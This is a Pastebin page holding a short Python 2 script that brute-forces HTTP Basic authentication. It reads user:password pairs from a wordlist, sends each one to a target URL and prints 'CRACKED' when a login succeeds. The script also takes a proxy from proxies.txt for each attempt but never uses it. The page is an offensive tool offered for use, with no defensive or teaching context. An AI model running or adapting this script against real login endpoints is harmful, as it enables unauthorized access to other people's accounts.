Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- from sys import argv
- import os.path
- import requests
- import base64
- from colorama import Fore as foreground
- if(os.path.isfile(argv[1])):
- wordlist = open(argv[1], "r")
- else:
- print "Error:\n\t Wordlist not found!\n"
- exit(1)
- f = open('proxies.txt')
- url = argv[2]
- words = wordlist.readlines()
- for passwd in words:
- user, password = passwd.split(':',1)
- proxy = f.next()
- user_pass = "%s:%s"%(user,password.strip())
- base64_value = base64.encodestring(user_pass).split()[0]
- hdr = {'Authorization': "Basic %s"%base64_value}
- try:
- res = requests.get(url, headers = hdr)
- except:
- print "No such URL"
- exit(1)
- if res.status_code == 200 :
- print foreground.GREEN + "%s CRACKED: "%res.status_code + passwd + foreground.RESET
- exit(0)
- elif res.status_code == 401 :
- print "FAILED %s: %s" %(res.status_code, passwd)
- else:
- print "Unexpected Status Code: %d "%res.status_code
Add Comment
Please, Sign In to add comment